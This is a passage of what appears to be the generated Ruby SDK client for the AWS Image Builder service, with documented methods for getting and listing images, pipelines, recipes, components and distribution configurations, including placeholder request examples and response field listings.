# resp.image.infrastructure_configuration.security_group_ids[0] #=> String
# resp.image.infrastructure_configuration.subnet_id #=> String
# resp.image.infrastructure_configuration.logging.s3_logs.s3_bucket_name #=> String
# resp.image.infrastructure_configuration.logging.s3_logs.s3_key_prefix #=> String
# resp.image.infrastructure_configuration.key_pair #=> String
# resp.image.infrastructure_configuration.terminate_instance_on_failure #=> Boolean
# resp.image.infrastructure_configuration.sns_topic_arn #=> String
# resp.image.infrastructure_configuration.date_created #=> String
# resp.image.infrastructure_configuration.date_updated #=> String
# resp.image.infrastructure_configuration.resource_tags #=> Hash
# resp.image.infrastructure_configuration.resource_tags["TagKey"] #=> String
# resp.image.infrastructure_configuration.tags #=> Hash
# resp.image.infrastructure_configuration.tags["TagKey"] #=> String
# resp.image.distribution_configuration.arn #=> String
# resp.image.distribution_configuration.name #=> String
# resp.image.distribution_configuration.description #=> String
# resp.image.distribution_configuration.distributions #=> Array
# resp.image.distribution_configuration.distributions[0].region #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.name #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.description #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.target_account_ids #=> Array
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.target_account_ids[0] #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.ami_tags #=> Hash
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.ami_tags["TagKey"] #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.kms_key_id #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_ids #=> Array
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_ids[0] #=> String
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_groups #=> Array
# resp.image.distribution_configuration.distributions[0].ami_distribution_configuration.launch_permission.user_groups[0] #=> String
# resp.image.distribution_configuration.distributions[0].license_configuration_arns #=> Array
# resp.image.distribution_configuration.distributions[0].license_configuration_arns[0] #=> String
# resp.image.distribution_configuration.timeout_minutes #=> Integer
# resp.image.distribution_configuration.date_created #=> String
# resp.image.distribution_configuration.date_updated #=> String
# resp.image.distribution_configuration.tags #=> Hash
# resp.image.distribution_configuration.tags["TagKey"] #=> String
# resp.image.image_tests_configuration.image_tests_enabled #=> Boolean
# resp.image.image_tests_configuration.timeout_minutes #=> Integer
# resp.image.date_created #=> String
# resp.image.output_resources.amis #=> Array
# resp.image.output_resources.amis[0].region #=> String
# resp.image.output_resources.amis[0].image #=> String
# resp.image.output_resources.amis[0].name #=> String
# resp.image.output_resources.amis[0].description #=> String
# resp.image.output_resources.amis[0].state.status #=> String, one of "PENDING", "CREATING", "BUILDING", "TESTING", "DISTRIBUTING", "INTEGRATING", "AVAILABLE", "CANCELLED", "FAILED", "DEPRECATED", "DELETED"
# resp.image.output_resources.amis[0].state.reason #=> String
# resp.image.output_resources.amis[0].account_id #=> String
# resp.image.tags #=> Hash
# resp.image.tags["TagKey"] #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetImage AWS API Documentation
#
# @overload get_image(params = {})
# @param [Hash] params ({})
def get_image(params = {}, options = {})
req = build_request(:get_image, params)
req.send_request(options)
end
# Gets an image pipeline.
#
# @option params [required, String] :image_pipeline_arn
# The Amazon Resource Name (ARN) of the image pipeline that you want to
# retrieve.
#
# @return [Types::GetImagePipelineResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetImagePipelineResponse#request_id #request_id} => String
# * {Types::GetImagePipelineResponse#image_pipeline #image_pipeline} => Types::ImagePipeline
#
# @example Request syntax with placeholder values
#
# resp = client.get_image_pipeline({
# image_pipeline_arn: "ImagePipelineArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_pipeline.arn #=> String
# resp.image_pipeline.name #=> String
# resp.image_pipeline.description #=> String
# resp.image_pipeline.platform #=> String, one of "Windows", "Linux"
# resp.image_pipeline.enhanced_image_metadata_enabled #=> Boolean
# resp.image_pipeline.image_recipe_arn #=> String
# resp.image_pipeline.infrastructure_configuration_arn #=> String
# resp.image_pipeline.distribution_configuration_arn #=> String
# resp.image_pipeline.image_tests_configuration.image_tests_enabled #=> Boolean
# resp.image_pipeline.image_tests_configuration.timeout_minutes #=> Integer
# resp.image_pipeline.schedule.schedule_expression #=> String
# resp.image_pipeline.schedule.pipeline_execution_start_condition #=> String, one of "EXPRESSION_MATCH_ONLY", "EXPRESSION_MATCH_AND_DEPENDENCY_UPDATES_AVAILABLE"
# resp.image_pipeline.status #=> String, one of "DISABLED", "ENABLED"
# resp.image_pipeline.date_created #=> String
# resp.image_pipeline.date_updated #=> String
# resp.image_pipeline.date_last_run #=> String
# resp.image_pipeline.date_next_run #=> String
# resp.image_pipeline.tags #=> Hash
# resp.image_pipeline.tags["TagKey"] #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetImagePipeline AWS API Documentation
#
# @overload get_image_pipeline(params = {})
# @param [Hash] params ({})
def get_image_pipeline(params = {}, options = {})
req = build_request(:get_image_pipeline, params)
req.send_request(options)
end
# Gets an image policy.
#
# @option params [required, String] :image_arn
# The Amazon Resource Name (ARN) of the image whose policy you want to
# retrieve.
#
# @return [Types::GetImagePolicyResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetImagePolicyResponse#request_id #request_id} => String
# * {Types::GetImagePolicyResponse#policy #policy} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_image_policy({
# image_arn: "ImageBuildVersionArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.policy #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetImagePolicy AWS API Documentation
#
# @overload get_image_policy(params = {})
# @param [Hash] params ({})
def get_image_policy(params = {}, options = {})
req = build_request(:get_image_policy, params)
req.send_request(options)
end
# Gets an image recipe.
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe that you want to
# retrieve.
#
# @return [Types::GetImageRecipeResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetImageRecipeResponse#request_id #request_id} => String
# * {Types::GetImageRecipeResponse#image_recipe #image_recipe} => Types::ImageRecipe
#
# @example Request syntax with placeholder values
#
# resp = client.get_image_recipe({
# image_recipe_arn: "ImageRecipeArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_recipe.arn #=> String
# resp.image_recipe.name #=> String
# resp.image_recipe.description #=> String
# resp.image_recipe.platform #=> String, one of "Windows", "Linux"
# resp.image_recipe.owner #=> String
# resp.image_recipe.version #=> String
# resp.image_recipe.components #=> Array
# resp.image_recipe.components[0].component_arn #=> String
# resp.image_recipe.parent_image #=> String
# resp.image_recipe.block_device_mappings #=> Array
# resp.image_recipe.block_device_mappings[0].device_name #=> String
# resp.image_recipe.block_device_mappings[0].ebs.encrypted #=> Boolean
# resp.image_recipe.block_device_mappings[0].ebs.delete_on_termination #=> Boolean
# resp.image_recipe.block_device_mappings[0].ebs.iops #=> Integer
# resp.image_recipe.block_device_mappings[0].ebs.kms_key_id #=> String
# resp.image_recipe.block_device_mappings[0].ebs.snapshot_id #=> String
# resp.image_recipe.block_device_mappings[0].ebs.volume_size #=> Integer
# resp.image_recipe.block_device_mappings[0].ebs.volume_type #=> String, one of "standard", "io1", "io2", "gp2", "sc1", "st1"
# resp.image_recipe.block_device_mappings[0].virtual_name #=> String
# resp.image_recipe.block_device_mappings[0].no_device #=> String
# resp.image_recipe.date_created #=> String
# resp.image_recipe.tags #=> Hash
# resp.image_recipe.tags["TagKey"] #=> String
# resp.image_recipe.working_directory #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetImageRecipe AWS API Documentation
#
# @overload get_image_recipe(params = {})
# @param [Hash] params ({})
def get_image_recipe(params = {}, options = {})
req = build_request(:get_image_recipe, params)
req.send_request(options)
end
# Gets an image recipe policy.
#
# @option params [required, String] :image_recipe_arn
# The Amazon Resource Name (ARN) of the image recipe whose policy you
# want to retrieve.
#
# @return [Types::GetImageRecipePolicyResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetImageRecipePolicyResponse#request_id #request_id} => String
# * {Types::GetImageRecipePolicyResponse#policy #policy} => String
#
# @example Request syntax with placeholder values
#
# resp = client.get_image_recipe_policy({
# image_recipe_arn: "ImageRecipeArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.policy #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetImageRecipePolicy AWS API Documentation
#
# @overload get_image_recipe_policy(params = {})
# @param [Hash] params ({})
def get_image_recipe_policy(params = {}, options = {})
req = build_request(:get_image_recipe_policy, params)
req.send_request(options)
end
# Gets an infrastructure configuration.
#
# @option params [required, String] :infrastructure_configuration_arn
# The Amazon Resource Name (ARN) of the infrastructure configuration
# that you want to retrieve.
#
# @return [Types::GetInfrastructureConfigurationResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::GetInfrastructureConfigurationResponse#request_id #request_id} => String
# * {Types::GetInfrastructureConfigurationResponse#infrastructure_configuration #infrastructure_configuration} => Types::InfrastructureConfiguration
#
# @example Request syntax with placeholder values
#
# resp = client.get_infrastructure_configuration({
# infrastructure_configuration_arn: "InfrastructureConfigurationArn", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.infrastructure_configuration.arn #=> String
# resp.infrastructure_configuration.name #=> String
# resp.infrastructure_configuration.description #=> String
# resp.infrastructure_configuration.instance_types #=> Array
# resp.infrastructure_configuration.instance_types[0] #=> String
# resp.infrastructure_configuration.instance_profile_name #=> String
# resp.infrastructure_configuration.security_group_ids #=> Array
# resp.infrastructure_configuration.security_group_ids[0] #=> String
# resp.infrastructure_configuration.subnet_id #=> String
# resp.infrastructure_configuration.logging.s3_logs.s3_bucket_name #=> String
# resp.infrastructure_configuration.logging.s3_logs.s3_key_prefix #=> String
# resp.infrastructure_configuration.key_pair #=> String
# resp.infrastructure_configuration.terminate_instance_on_failure #=> Boolean
# resp.infrastructure_configuration.sns_topic_arn #=> String
# resp.infrastructure_configuration.date_created #=> String
# resp.infrastructure_configuration.date_updated #=> String
# resp.infrastructure_configuration.resource_tags #=> Hash
# resp.infrastructure_configuration.resource_tags["TagKey"] #=> String
# resp.infrastructure_configuration.tags #=> Hash
# resp.infrastructure_configuration.tags["TagKey"] #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/GetInfrastructureConfiguration AWS API Documentation
#
# @overload get_infrastructure_configuration(params = {})
# @param [Hash] params ({})
def get_infrastructure_configuration(params = {}, options = {})
req = build_request(:get_infrastructure_configuration, params)
req.send_request(options)
end
# Imports a component and transforms its data into a component document.
#
# @option params [required, String] :name
# The name of the component.
#
# @option params [required, String] :semantic_version
# The semantic version of the component. This version follows the
# semantic version syntax. For example, major.minor.patch. This could be
# versioned like software (2.0.1) or like a date (2019.12.01).
#
# @option params [String] :description
# The description of the component. Describes the contents of the
# component.
#
# @option params [String] :change_description
# The change description of the component. Describes what change has
# been made in this version, or what makes this version different from
# other versions of this component.
#
# @option params [required, String] :type
# The type of the component denotes whether the component is used to
# build the image or only to test it.
#
# @option params [required, String] :format
# The format of the resource that you want to import as a component.
#
# @option params [required, String] :platform
# The platform of the component.
#
# @option params [String] :data
# The data of the component. Used to specify the data inline. Either
# `data` or `uri` can be used to specify the data within the component.
#
# @option params [String] :uri
# The uri of the component. Must be an S3 URL and the requester must
# have permission to access the S3 bucket. If you use S3, you can
# specify component content up to your service quota. Either `data` or
# `uri` can be used to specify the data within the component.
#
# @option params [String] :kms_key_id
# The ID of the KMS key that should be used to encrypt this component.
#
# @option params [Hash<String,String>] :tags
# The tags of the component.
#
# @option params [required, String] :client_token
# The idempotency token of the component.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.**
#
# @return [Types::ImportComponentResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ImportComponentResponse#request_id #request_id} => String
# * {Types::ImportComponentResponse#client_token #client_token} => String
# * {Types::ImportComponentResponse#component_build_version_arn #component_build_version_arn} => String
#
# @example Request syntax with placeholder values
#
# resp = client.import_component({
# name: "ResourceName", # required
# semantic_version: "VersionNumber", # required
# description: "NonEmptyString",
# change_description: "NonEmptyString",
# type: "BUILD", # required, accepts BUILD, TEST
# format: "SHELL", # required, accepts SHELL
# platform: "Windows", # required, accepts Windows, Linux
# data: "NonEmptyString",
# uri: "Uri",
# kms_key_id: "NonEmptyString",
# tags: {
# "TagKey" => "TagValue",
# },
# client_token: "ClientToken", # required
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.client_token #=> String
# resp.component_build_version_arn #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ImportComponent AWS API Documentation
#
# @overload import_component(params = {})
# @param [Hash] params ({})
def import_component(params = {}, options = {})
req = build_request(:import_component, params)
req.send_request(options)
end
# Returns the list of component build versions for the specified
# semantic version.
#
# @option params [required, String] :component_version_arn
# The component version Amazon Resource Name (ARN) whose versions you
# want to list.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListComponentBuildVersionsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListComponentBuildVersionsResponse#request_id #request_id} => String
# * {Types::ListComponentBuildVersionsResponse#component_summary_list #component_summary_list} => Array<Types::ComponentSummary>
# * {Types::ListComponentBuildVersionsResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_component_build_versions({
# component_version_arn: "ComponentVersionArn", # required
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.component_summary_list #=> Array
# resp.component_summary_list[0].arn #=> String
# resp.component_summary_list[0].name #=> String
# resp.component_summary_list[0].version #=> String
# resp.component_summary_list[0].platform #=> String, one of "Windows", "Linux"
# resp.component_summary_list[0].supported_os_versions #=> Array
# resp.component_summary_list[0].supported_os_versions[0] #=> String
# resp.component_summary_list[0].type #=> String, one of "BUILD", "TEST"
# resp.component_summary_list[0].owner #=> String
# resp.component_summary_list[0].description #=> String
# resp.component_summary_list[0].change_description #=> String
# resp.component_summary_list[0].date_created #=> String
# resp.component_summary_list[0].tags #=> Hash
# resp.component_summary_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListComponentBuildVersions AWS API Documentation
#
# @overload list_component_build_versions(params = {})
# @param [Hash] params ({})
def list_component_build_versions(params = {}, options = {})
req = build_request(:list_component_build_versions, params)
req.send_request(options)
end
# Returns the list of component build versions for the specified
# semantic version.
#
# @option params [String] :owner
# The owner defines which components you want to list. By default, this
# request will only show components owned by your account. You can use
# this field to specify if you want to view components owned by
# yourself, by Amazon, or those components that have been shared with
# you by other customers.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListComponentsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListComponentsResponse#request_id #request_id} => String
# * {Types::ListComponentsResponse#component_version_list #component_version_list} => Array<Types::ComponentVersion>
# * {Types::ListComponentsResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_components({
# owner: "Self", # accepts Self, Shared, Amazon
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.component_version_list #=> Array
# resp.component_version_list[0].arn #=> String
# resp.component_version_list[0].name #=> String
# resp.component_version_list[0].version #=> String
# resp.component_version_list[0].description #=> String
# resp.component_version_list[0].platform #=> String, one of "Windows", "Linux"
# resp.component_version_list[0].supported_os_versions #=> Array
# resp.component_version_list[0].supported_os_versions[0] #=> String
# resp.component_version_list[0].type #=> String, one of "BUILD", "TEST"
# resp.component_version_list[0].owner #=> String
# resp.component_version_list[0].date_created #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListComponents AWS API Documentation
#
# @overload list_components(params = {})
# @param [Hash] params ({})
def list_components(params = {}, options = {})
req = build_request(:list_components, params)
req.send_request(options)
end
# Returns a list of distribution configurations.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# * `name` - The name of this distribution configuration.
#
# ^
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListDistributionConfigurationsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListDistributionConfigurationsResponse#request_id #request_id} => String
# * {Types::ListDistributionConfigurationsResponse#distribution_configuration_summary_list #distribution_configuration_summary_list} => Array<Types::DistributionConfigurationSummary>
# * {Types::ListDistributionConfigurationsResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_distribution_configurations({
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.distribution_configuration_summary_list #=> Array
# resp.distribution_configuration_summary_list[0].arn #=> String
# resp.distribution_configuration_summary_list[0].name #=> String
# resp.distribution_configuration_summary_list[0].description #=> String
# resp.distribution_configuration_summary_list[0].date_created #=> String
# resp.distribution_configuration_summary_list[0].date_updated #=> String
# resp.distribution_configuration_summary_list[0].tags #=> Hash
# resp.distribution_configuration_summary_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListDistributionConfigurations AWS API Documentation
#
# @overload list_distribution_configurations(params = {})
# @param [Hash] params ({})
def list_distribution_configurations(params = {}, options = {})
req = build_request(:list_distribution_configurations, params)
req.send_request(options)
end
# Returns a list of image build versions.
#
# @option params [required, String] :image_version_arn
# The Amazon Resource Name (ARN) of the image whose build versions you
# want to retrieve.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListImageBuildVersionsResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListImageBuildVersionsResponse#request_id #request_id} => String
# * {Types::ListImageBuildVersionsResponse#image_summary_list #image_summary_list} => Array<Types::ImageSummary>
# * {Types::ListImageBuildVersionsResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_image_build_versions({
# image_version_arn: "ImageVersionArn", # required
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_summary_list #=> Array
# resp.image_summary_list[0].arn #=> String
# resp.image_summary_list[0].name #=> String
# resp.image_summary_list[0].version #=> String
# resp.image_summary_list[0].platform #=> String, one of "Windows", "Linux"
# resp.image_summary_list[0].os_version #=> String
# resp.image_summary_list[0].state.status #=> String, one of "PENDING", "CREATING", "BUILDING", "TESTING", "DISTRIBUTING", "INTEGRATING", "AVAILABLE", "CANCELLED", "FAILED", "DEPRECATED", "DELETED"
# resp.image_summary_list[0].state.reason #=> String
# resp.image_summary_list[0].owner #=> String
# resp.image_summary_list[0].date_created #=> String
# resp.image_summary_list[0].output_resources.amis #=> Array
# resp.image_summary_list[0].output_resources.amis[0].region #=> String
# resp.image_summary_list[0].output_resources.amis[0].image #=> String
# resp.image_summary_list[0].output_resources.amis[0].name #=> String
# resp.image_summary_list[0].output_resources.amis[0].description #=> String
# resp.image_summary_list[0].output_resources.amis[0].state.status #=> String, one of "PENDING", "CREATING", "BUILDING", "TESTING", "DISTRIBUTING", "INTEGRATING", "AVAILABLE", "CANCELLED", "FAILED", "DEPRECATED", "DELETED"
# resp.image_summary_list[0].output_resources.amis[0].state.reason #=> String
# resp.image_summary_list[0].output_resources.amis[0].account_id #=> String
# resp.image_summary_list[0].tags #=> Hash
# resp.image_summary_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListImageBuildVersions AWS API Documentation
#
# @overload list_image_build_versions(params = {})
# @param [Hash] params ({})
def list_image_build_versions(params = {}, options = {})
req = build_request(:list_image_build_versions, params)
req.send_request(options)
end
# Returns a list of images created by the specified pipeline.
#
# @option params [required, String] :image_pipeline_arn
# The Amazon Resource Name (ARN) of the image pipeline whose images you
# want to view.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListImagePipelineImagesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListImagePipelineImagesResponse#request_id #request_id} => String
# * {Types::ListImagePipelineImagesResponse#image_summary_list #image_summary_list} => Array<Types::ImageSummary>
# * {Types::ListImagePipelineImagesResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_image_pipeline_images({
# image_pipeline_arn: "ImagePipelineArn", # required
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_summary_list #=> Array
# resp.image_summary_list[0].arn #=> String
# resp.image_summary_list[0].name #=> String
# resp.image_summary_list[0].version #=> String
# resp.image_summary_list[0].platform #=> String, one of "Windows", "Linux"
# resp.image_summary_list[0].os_version #=> String
# resp.image_summary_list[0].state.status #=> String, one of "PENDING", "CREATING", "BUILDING", "TESTING", "DISTRIBUTING", "INTEGRATING", "AVAILABLE", "CANCELLED", "FAILED", "DEPRECATED", "DELETED"
# resp.image_summary_list[0].state.reason #=> String
# resp.image_summary_list[0].owner #=> String
# resp.image_summary_list[0].date_created #=> String
# resp.image_summary_list[0].output_resources.amis #=> Array
# resp.image_summary_list[0].output_resources.amis[0].region #=> String
# resp.image_summary_list[0].output_resources.amis[0].image #=> String
# resp.image_summary_list[0].output_resources.amis[0].name #=> String
# resp.image_summary_list[0].output_resources.amis[0].description #=> String
# resp.image_summary_list[0].output_resources.amis[0].state.status #=> String, one of "PENDING", "CREATING", "BUILDING", "TESTING", "DISTRIBUTING", "INTEGRATING", "AVAILABLE", "CANCELLED", "FAILED", "DEPRECATED", "DELETED"
# resp.image_summary_list[0].output_resources.amis[0].state.reason #=> String
# resp.image_summary_list[0].output_resources.amis[0].account_id #=> String
# resp.image_summary_list[0].tags #=> Hash
# resp.image_summary_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListImagePipelineImages AWS API Documentation
#
# @overload list_image_pipeline_images(params = {})
# @param [Hash] params ({})
def list_image_pipeline_images(params = {}, options = {})
req = build_request(:list_image_pipeline_images, params)
req.send_request(options)
end
# Returns a list of image pipelines.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListImagePipelinesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListImagePipelinesResponse#request_id #request_id} => String
# * {Types::ListImagePipelinesResponse#image_pipeline_list #image_pipeline_list} => Array<Types::ImagePipeline>
# * {Types::ListImagePipelinesResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_image_pipelines({
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_pipeline_list #=> Array
# resp.image_pipeline_list[0].arn #=> String
# resp.image_pipeline_list[0].name #=> String
# resp.image_pipeline_list[0].description #=> String
# resp.image_pipeline_list[0].platform #=> String, one of "Windows", "Linux"
# resp.image_pipeline_list[0].enhanced_image_metadata_enabled #=> Boolean
# resp.image_pipeline_list[0].image_recipe_arn #=> String
# resp.image_pipeline_list[0].infrastructure_configuration_arn #=> String
# resp.image_pipeline_list[0].distribution_configuration_arn #=> String
# resp.image_pipeline_list[0].image_tests_configuration.image_tests_enabled #=> Boolean
# resp.image_pipeline_list[0].image_tests_configuration.timeout_minutes #=> Integer
# resp.image_pipeline_list[0].schedule.schedule_expression #=> String
# resp.image_pipeline_list[0].schedule.pipeline_execution_start_condition #=> String, one of "EXPRESSION_MATCH_ONLY", "EXPRESSION_MATCH_AND_DEPENDENCY_UPDATES_AVAILABLE"
# resp.image_pipeline_list[0].status #=> String, one of "DISABLED", "ENABLED"
# resp.image_pipeline_list[0].date_created #=> String
# resp.image_pipeline_list[0].date_updated #=> String
# resp.image_pipeline_list[0].date_last_run #=> String
# resp.image_pipeline_list[0].date_next_run #=> String
# resp.image_pipeline_list[0].tags #=> Hash
# resp.image_pipeline_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListImagePipelines AWS API Documentation
#
# @overload list_image_pipelines(params = {})
# @param [Hash] params ({})
def list_image_pipelines(params = {}, options = {})
req = build_request(:list_image_pipelines, params)
req.send_request(options)
end
# Returns a list of image recipes.
#
# @option params [String] :owner
# The owner defines which image recipes you want to list. By default,
# this request will only show image recipes owned by your account. You
# can use this field to specify if you want to view image recipes owned
# by yourself, by Amazon, or those image recipes that have been shared
# with you by other customers.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListImageRecipesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListImageRecipesResponse#request_id #request_id} => String
# * {Types::ListImageRecipesResponse#image_recipe_summary_list #image_recipe_summary_list} => Array<Types::ImageRecipeSummary>
# * {Types::ListImageRecipesResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_image_recipes({
# owner: "Self", # accepts Self, Shared, Amazon
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
# max_results: 1,
# next_token: "PaginationToken",
# })
#
# @example Response structure
#
# resp.request_id #=> String
# resp.image_recipe_summary_list #=> Array
# resp.image_recipe_summary_list[0].arn #=> String
# resp.image_recipe_summary_list[0].name #=> String
# resp.image_recipe_summary_list[0].platform #=> String, one of "Windows", "Linux"
# resp.image_recipe_summary_list[0].owner #=> String
# resp.image_recipe_summary_list[0].parent_image #=> String
# resp.image_recipe_summary_list[0].date_created #=> String
# resp.image_recipe_summary_list[0].tags #=> Hash
# resp.image_recipe_summary_list[0].tags["TagKey"] #=> String
# resp.next_token #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/imagebuilder-2019-12-02/ListImageRecipes AWS API Documentation
#
# @overload list_image_recipes(params = {})
# @param [Hash] params ({})
def list_image_recipes(params = {}, options = {})
req = build_request(:list_image_recipes, params)
req.send_request(options)
end
# Returns the list of images that you have access to.
#
# @option params [String] :owner
# The owner defines which images you want to list. By default, this
# request will only show images owned by your account. You can use this
# field to specify if you want to view images owned by yourself, by
# Amazon, or those images that have been shared with you by other
# customers.
#
# @option params [Array<Types::Filter>] :filters
# The filters.
#
# @option params [Integer] :max_results
# The maximum items to return in a request.
#
# @option params [String] :next_token
# A token to specify where to start paginating. This is the NextToken
# from a previously truncated response.
#
# @return [Types::ListImagesResponse] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::ListImagesResponse#request_id #request_id} => String
# * {Types::ListImagesResponse#image_version_list #image_version_list} => Array<Types::ImageVersion>
# * {Types::ListImagesResponse#next_token #next_token} => String
#
# The returned {Seahorse::Client::Response response} is a pageable response and is Enumerable. For details on usage see {Aws::PageableResponse PageableResponse}.
#
# @example Request syntax with placeholder values
#
# resp = client.list_images({
# owner: "Self", # accepts Self, Shared, Amazon
# filters: [
# {
# name: "FilterName",
# values: ["FilterValue"],
# },
# ],
